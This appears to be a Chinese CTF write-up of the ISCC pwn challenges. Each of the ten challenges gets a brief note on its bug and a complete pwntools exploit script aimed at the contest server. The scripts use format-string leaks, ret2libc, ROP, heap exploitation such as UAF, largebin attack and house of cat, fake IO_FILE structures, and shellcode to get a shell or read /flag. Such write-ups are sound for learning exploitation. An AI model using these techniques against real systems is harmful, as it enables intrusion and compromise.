iscc 练武pwn
- 总结
- 第一周
- chaos
- ISCC_easy
- Flag
- shopping
- 第二周
- ISCC_easy
- ISCC_U
- heapheap
- 第三周
- miao
- Your_program
- eazy_heap
总结
总体感觉iscc考察的题目都挺基础的,在目前这种比赛的大环境下,仍然出这种,比较基础的题目,实在是难得,题目的漏洞都很明显,不需要过多的逆向,打起来很轻松,在这个静态编译加去符号的大环境下,出这种题目,真的是泪目了。
第一周
chaos
好几个选项,挨个审计
需要绕过一下
把释放的堆块再申请回来,填入Flag即可
Exp:
from pwn import *
def sl(a):
p.sendline(a)
def rl(a):
return p.recvuntil(a)
def inter():
p.interactive()
p = remote('182.92.237.102', 10010)
rl("Please Choice:")
sl(str(5))
rl("Please Input Chunk size :")
sl(str(0x68))
rl("Please Input Content : ")
sl(b'Flag\x00')
inter()
ISCC_easy
审计代码,发现格式化字符串漏洞
并且gets函数存在栈溢出
格式化字符串漏洞泄露canary和pie,走后门即可
Exp:
from pwn import *
def s(a):
p.send(a)
def sl(a):
p.sendline(a)
def rl(a):
return p.recvuntil(a)
def inter():
p.interactive()
p = remote('182.92.237.102', 10011)
rl(">>")
pay=b'flagisaaa%15$p%17$p'
sl(pay)
rl("0x")
can=int(p.recv(16),16)
print(hex(can))
rl("0x")
pie=int(p.recv(12),16) -0x0000000000001422-254
print(hex(can))
rl(">>")
pay=(b'exit').ljust(0x38)+p64(can)*2+p64(pie+0x1291)
sl(pay)
rl(">>")
sl(b'exit')
inter()
Flag
随便输入,只要和help。Txt不一样就可以执行格式化字符串漏洞
泄露canary即可
栈溢出打ret2libc
Exp:
from pwn import *
def s(a):
p.send(a)
def sl(a):
p.sendline(a)
def rl(a):
return p.recvuntil(a)
def inter():
p.interactive()
p = remote('182.92.237.102', 10012)
elf = ELF('./pwn')
libc=ELF("/lib/i386-linux-gnu/libc.so.6")
rl("what's the content?\n")
pay=b'%19$p'
#bug()
sl(pay)
rl("0x")
can=int(p.recv(8),16)
rl("Input:\n")
pay=b'a'*(0x94-0xc)+p32(can)*0x4+p32(elf.plt['puts'])+p32(0x804931B)+p32(elf.got['read'])
s(pay)
libc_base=u32(p.recvuntil(b'\xf7')[-4:])-0xf0780
system,bin=libc_base+0x41360,libc_base+0x18c363
rl("Input:\n")
pay=b'a'*(0x94-0xc)+p32(can)*0x4+p32(system)+p32(0x804931B)+p32(bin)
s(pay)
inter()
shopping
原题,改一下脚本的细节即可
https://blog.csdn.net/weixin_43960998/article/details/115641480
exp:
from pwn import *
sh = remote('182.92.237.102', 10019)
elf = ELF('./pwn')
system_plt = elf.plt['system']
sh.sendlineafter('Enter the password:', "I'm ready for shopping\n")
def add(size, n, content=''):
sh.sendlineafter('Action:', '1')
sh.sendlineafter('Item ID:', str(size))
sh.sendlineafter('Quantity:', str(n))
if content == '':
sh.sendlineafter('Add gift message? (0/1):', '0')
else:
sh.sendlineafter('Add gift message? (0/1):', '1')
sh.sendafter('Message:', content)
for i in range(12):
add(0x4000, 1000)
add(0x4000, 262, '0'*0x3FF0)
payload = b'1'*0x50 + p32(0) + p32(3) + b''.join([p64(0x60201d) for _ in range(10)])
sleep(0.2)
sh.send(payload)
sleep(0.2)
payload = b'/bin/sh'.ljust(0xB, b'\x00') + p64(system_plt)
payload = payload.ljust(0x60, b'b')
add(0x60, 0, payload)
sh.interactive()
第二周
ISCC_easy
格式化字符串漏洞把s改成5
之后进入welcome
栈溢出ret2libc
Exp:
from pwn import *
def s(a):
p.send(a)
def sl(a):
p.sendline(a)
def rl(a):
return p.recvuntil(a)
def inter():
p.interactive()
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
p = remote('182.92.237.102', 10013)
elf = ELF('./pwn')
libc = ELF('./libc6-i386_2.31-0ubuntu9.14_amd64.so')
rl("Let's have fun!\n")
pay=fmtstr_payload(4,{0x804C030:5})
s(pay)
rl("Input:\n")
pay=b'a'*(0x90+4)+p32(elf.plt['puts'])+p32(0x804929B)+p32(elf.got['read'])
s(pay)
libc_base=u32(p.recvuntil('\xf7')[-4:])-libc.sym['read']
system,bin=get_sb()
rl("Input:\n")
pay=b'a'*(0x90+4)+p32(system)+p32(0x804929B)+p32(bin)
s(pay)
inter()
ISCC_U
存在uaf漏洞
利用点在这
打印用的是堆块里的地址
思路就是free一个unsorted bin堆块,在申请回来泄露libc,然后再free两个堆块,在申请0x8的堆块,就能把前俩堆块的控制堆块申请回来,将puts函数改为system,然后show原先的堆块
Exp如下:
from pwn import *
def s(a):
p.send(a)
def sl(a):
p.sendline(a)
def rl(a):
return p.recvuntil(a)
def inter():
p.interactive()
p = remote('182.92.237.102', 10016)
libc = ELF('./libc6-i386_2.31-0ubuntu9.14_amd64.so')
def add(size,c):
rl("What's your choice :")
sl(str(1))
rl("Note size :")
sl(str(size))
rl("Content :")
s(c)
def free(i):
rl("What's your choice :")
sl(str(2))
rl("Index :")
sl(str(i))
def show(i):
rl("What's your choice :")
sl(str(3))
rl("Index :")
sl(str(i))
add(0x410,b'a')
add(0x28,b'/bin/sh\x00')
free(0)
add(0x8,b'a')
show(0)
u32(p.recvuntil('\xf7')[-4:])
libc_base=u32(p.recvuntil('\xf7')[-4:])-libc.sym['__malloc_hook']-568-0x18
system=libc_base+libc.sym['system']
free(2)
free(1)
add(0x8,p32(system)+b';`sh`\x00')
show(0)
inter()
heapheap
有沙盒
但是四个功能齐全
Uaf漏洞
版本2.31,largebin attack打IOlistall为堆地址,伪造IOfile,house of cat orw
Exp:
from pwn import *
def s(a):
p.send(a)
def sl(a):
p.sendline(a)
def rl(a):
return p.recvuntil(a)
def inter():
p.interactive()
p = remote('182.92.237.102', 11000)
libc = ELF('./libc-2.31.so')
def add(i,size):
rl("Your choice:\n")
sl(str(1))
rl("index:")
sl(str(i))
rl("Size:\n")
sl(str(size))
def free(i):
rl("Your choice:\n")
sl(str(4))
rl("index:")
sl(str(i))
def show(i):
rl("Your choice:\n")
sl(str(2))
rl("index:")
sl(str(i))
def edit(i,c):
rl("Your choice:\n")
sl(str(3))
rl("index:")
sl(str(i))
rl("context: \n")
s(c)
add(0,0x450)
add(1,0x428)
add(2,0x430)
add(3,0x428)
add(7,0x410)
add(8,0x400)
add(9,0x410)
free(0)
add(4,0x500)
add(5,0x500)
show(0)
libc_base=u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))-2019296
Io_list_all=libc_base+libc.sym['_IO_list_all']
setcontext=libc_base+libc.sym['setcontext']+61
prdi_ret = libc_base+0x23b6a
prsi_ret = libc_base+0x2601f
prdx_r12_ret = libc_base+0x119431
open_addr=libc_base+libc.sym['open']
read_addr=libc_base + libc.sym['read']
write_addr=libc_base + libc.sym['write']
edit(0,b'a'*0x18)
show(0)
rl("a"*0x18)
heap_base=u64(p.recv(6).ljust(0x8,b'\x00'))-0x290
edit(0,p64(libc_base+2019296)*2+p64(heap_base+0x290)+p64(Io_list_all-0x20))
free(2)
add(6,0x500)
fake_io_addr=heap_base+0xb20
fake_IO_FILE=p64(0)*6
fake_IO_FILE +=p64(1)+p64(2)
fake_IO_FILE +=p64(fake_io_addr+0x450)
fake_IO_FILE +=p64(setcontext)
fake_IO_FILE = fake_IO_FILE.ljust(0x58, b'\x00')
fake_IO_FILE += p64(0)
fake_IO_FILE = fake_IO_FILE.ljust(0x78, b'\x00')
fake_IO_FILE += p64(heap_base+0x1000)
fake_IO_FILE = fake_IO_FILE.ljust(0x90, b'\x00')
fake_IO_FILE +=p64(fake_io_addr+0x30)
fake_IO_FILE = fake_IO_FILE.ljust(0xb0, b'\x00')
fake_IO_FILE += p64(1)
fake_IO_FILE = fake_IO_FILE.ljust(0xc8, b'\x00')
fake_IO_FILE += p64(libc_base+0x1e8f60+0x30)
fake_IO_FILE +=p64(0)*6
fake_IO_FILE += p64(fake_io_addr+0x40)
edit(2,fake_IO_FILE)
orw = b'/flag\x00\x00\x00'
orw=orw.ljust(0xa0,b'\x00')+p64(heap_base+0xf60+0xc0)+p64(prdi_ret+1)
orw += p64(prdi_ret) + p64(fake_io_addr+0x450)
orw += p64(prsi_ret) + p64(0)
orw += p64(open_addr)
orw += p64(prdi_ret) + p64(3)
orw += p64(prdx_r12_ret) + p64(0x50)*2
orw += p64(prsi_ret)+p64(heap_base+0x2000)
orw += p64(read_addr)
orw += p64(prdi_ret) + p64(1)
orw += p64(prdx_r12_ret) + p64(0x50)*2
orw += p64(prsi_ret)+p64(heap_base+0x2000)
orw += p64(write_addr)
edit(3,orw)
rl("Your choice:\n")
sl(str(5))
inter()
第三周
miao
32位静态编译,想一把梭,但是有canary,先格式化字符串漏洞泄露canary,然后第二次栈溢出构造mprotect+read+shellcode的链子
Exp如下:
from pwn import *
r = remote('182.92.237.102', 10015)
r.recvuntil("Would you like to say something to it?\n")
pay=b'%31$p'
r.sendline(pay)
r.recvuntil("0x")
can=int(r.recv(8),16)
r.recvuntil(" ( ^.^ ) \n")
p = b'a'*(0x70-0xc)+p32(can)+b'a'*(0xc)+p32(0x0806E3D0)+p32(0x0806f308)+p32(0x80ea000)+p32(0x1000)+p32(7)+p32(0x806D8D0)+p32(0x0806f308)+p32(0)+p32(0x80EA000)+p32(0x100)+p32(0x80EA000)
r.sendline(p)
sleep(0.5)
r.send(asm(shellcraft.sh()))
r.interactive()
Your_program
第一个函数就有栈溢出,简单绕过一下即可
Exp:
from pwn import *
p = remote('182.92.237.102', 10032)
elf = ELF('./pwn')
p.recvuntil("Enter key: ")
pay=(b'a'*27+p8(0x41)).ljust(0x28,b'\x00')+p64(0x0000000000401763)+p64(elf.got['gets'])+p64(elf.plt['puts'])+p64(0x401276)
p.sendline(pay)
libc_base=u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))-0x83970
system,bin=libc_base+0x52290,libc_base+1787325
p.recvuntil("Enter key: ")
pay=(b'a'*27+p8(0x41)).ljust(0x28,b'\x00')+p64(0x0000000000401763)+p64(bin)+p64(0x0000000000401763+1)+p64(system)
p.sendline(pay)
p.interactive()
eazy_heap
2.35 off by null。模板题,稍微改改exp直接打
这个实际上也是原题
https://blog.csdn.net/weixin_43784056/article/details/131265857
最离谱的是,脚本直接能打通,该都不用改。
Exp:
from pwn import *
p = remote('182.92.237.102', 2122)
def add(size,c):
p.recvuntil("input your car choice >> \n")
p.sendline(str(1))
p.recvuntil("size:\n")
p.sendline(str(size))
p.recvuntil("content:\n")
p.send(c)
def free(i):
p.recvuntil("input your car choice >> \n")
p.sendline(str(2))
p.recvuntil("idx:\n")
p.sendline(str(i))
def edit(i,c):
p.recvuntil("input your car choice >> \n")
p.sendline(str(4))
p.recvuntil("idx:\n")
p.sendline(str(i))
p.recvuntil("content:\n")
p.send(c)
def show(i):
p.recvuntil("input your car choice >> \n")
p.sendline(str(3))
p.recvuntil("idx:\n")
p.sendline(str(i))
add(0x410,b'a')
add(0x100,b'a')
add(0x430,b'a')
add(0x430,b'a')
add(0x100,b'a')
add(0x480,b'a')
add(0x420,b'a')
add(0x90,b'a')
free(0)
free(3)
free(6)
free(2)
add(0x450, b'a'*0x438+p32(0x551))
add(0x410,b'a')
add(0x420,b'a')
add(0x410,b'a')
free(6)
free(2)
add(0x410,b'a'*8)
add(0x410,b'a'*8)
edit(2,b'a'*8)
free(6)
free(3)
free(5)
add(0x4f0, b"a"*0x488 + p64(0x431))
add(0x3b0,b'a')
edit(3,b"a"*0x488 + p64(0x431))
free(4)
add(0x108, b"a"*0x100)
edit(4,b"a"*0x100 + p64(0x550))
add(0x410,b'a')
free(3)
show(6)
libc_base=u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))-0x21a000
Io_list_all=libc_base+0x21a680
setcontext=libc_base+0x53a30+61
prdi_ret = libc_base+0x2a3e5
prsi_ret = libc_base+0x2be51
prdx_r12_ret = libc_base+0x11f497
open_addr=libc_base+0x114690
read_addr=libc_base + 0x114980
write_addr=libc_base + 0x114a20
u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
p.recv(2)
heap_base=u64(p.recv(8))-0xc20
add(0x3f0,b'a')
add(0x90, b'a' * 0x38 + p64(0xa1))
free(7)
free(4)
edit(8,b'a' * 0x38 + p64(0xa1)+p64(Io_list_all^((heap_base>>12)+1)))
fake_io_addr=heap_base+0x290
fake_IO_FILE=p64(0)*6
fake_IO_FILE +=p64(1)+p64(2)
fake_IO_FILE +=p64(fake_io_addr+0x440+0x10)
fake_IO_FILE +=p64(setcontext)
fake_IO_FILE = fake_IO_FILE.ljust(0x58, b'\x00')
fake_IO_FILE += p64(0)
fake_IO_FILE = fake_IO_FILE.ljust(0x78, b'\x00')
fake_IO_FILE += p64(heap_base+0x1000)
fake_IO_FILE = fake_IO_FILE.ljust(0x90, b'\x00')
fake_IO_FILE +=p64(fake_io_addr+0x30)
fake_IO_FILE = fake_IO_FILE.ljust(0xb0, b'\x00')
fake_IO_FILE += p64(1)
fake_IO_FILE = fake_IO_FILE.ljust(0xc8, b'\x00')
fake_IO_FILE += p64(libc_base+0x2160c0+0x30)
fake_IO_FILE +=p64(0)*6
fake_IO_FILE += p64(fake_io_addr+0x40)
edit(2,fake_IO_FILE)
add(0x90,b'a')
add(0x90,p64(heap_base+0x290))
orw = p64(prdi_ret) + p64(heap_base+0x6c0)
orw += p64(prsi_ret) + p64(0)
orw += p64(open_addr)
orw += p64(prdi_ret) + p64(3)
orw += p64(prdx_r12_ret) + p64(0x50)*2
orw += p64(prsi_ret)+p64(heap_base+0x2000)
orw += p64(read_addr)
orw += p64(prdi_ret) + p64(1)
orw += p64(prdx_r12_ret) + p64(0x50)*2
orw += p64(prsi_ret)+p64(heap_base+0x2000)
orw += p64(write_addr)
edit(1,b'/flag\x00\x00\x00'*2+b'\x00'*(0xa0+0x10)+p64(heap_base+0x7c0+0x10)+p64(prdi_ret+1))
edit(0,orw)
p.recvuntil("input your car choice >> \n")
p.sendline(str(5))
p.interactive()